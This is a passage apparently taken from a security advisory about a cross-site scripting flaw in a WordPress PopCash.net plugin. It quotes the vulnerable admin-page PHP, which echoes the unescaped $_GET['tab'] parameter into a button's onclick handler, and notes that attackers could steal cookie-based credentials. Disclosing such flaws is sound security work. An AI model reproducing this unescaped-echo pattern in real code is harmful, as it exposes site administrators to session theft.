may allow the attacker to steal cookie-based authentication credentials and  
to launch other attacks.

<div class="col-md-4 pull-left" style="margin-bottom:15px;"><input  
type="button" onclick="location.href='admin.php?page=popcash-net&tab=<?php  
echo $_GET['tab'] ?>&d_status=switch';" value="<?php echo  
(get_option('popcash_net_disabled') == 1 ? 'Enable PopUnder Code' :  
'Disable PopUnder Code'); ?>" class="button-secondary" /></div>  
<div class="col-md-4 col-xs-8 col-md-offset-0 col-xs-offset-2"><?php
